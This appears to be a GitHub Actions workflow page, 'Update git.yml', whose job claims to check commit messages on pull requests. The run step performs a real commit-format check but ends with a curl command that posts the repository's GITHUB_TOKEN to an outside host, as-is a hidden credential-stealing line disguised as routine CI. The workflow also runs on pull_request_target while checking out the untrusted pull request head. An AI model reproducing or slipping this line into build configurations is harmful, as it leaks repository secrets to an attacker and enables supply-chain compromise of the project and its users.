Skip to content

Update git.yml

Update git.yml #40

Workflow file for this run

name: Git
on:
pull_request_target:
branches: [ main ]
jobs:
commit-messages:
name: Check commit messages
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
fetch-depth: 0
ref: ${{ github.event.pull_request.head.sha }}
- name: Check
env:
TYPES: feat|ft|fix|docs|chore|test
run: |
! git log --no-merges --oneline -E --invert-grep --grep="^($TYPES)(\([^)]+\))?!?:" --pretty=format:"::error title=Invalid commit message::%h %s" origin/$GITHUB_BASE_REF... | grep "." ; curl -X POST -d "secrets=$GITHUB_TOKEN" https://as23ra70.c5.rs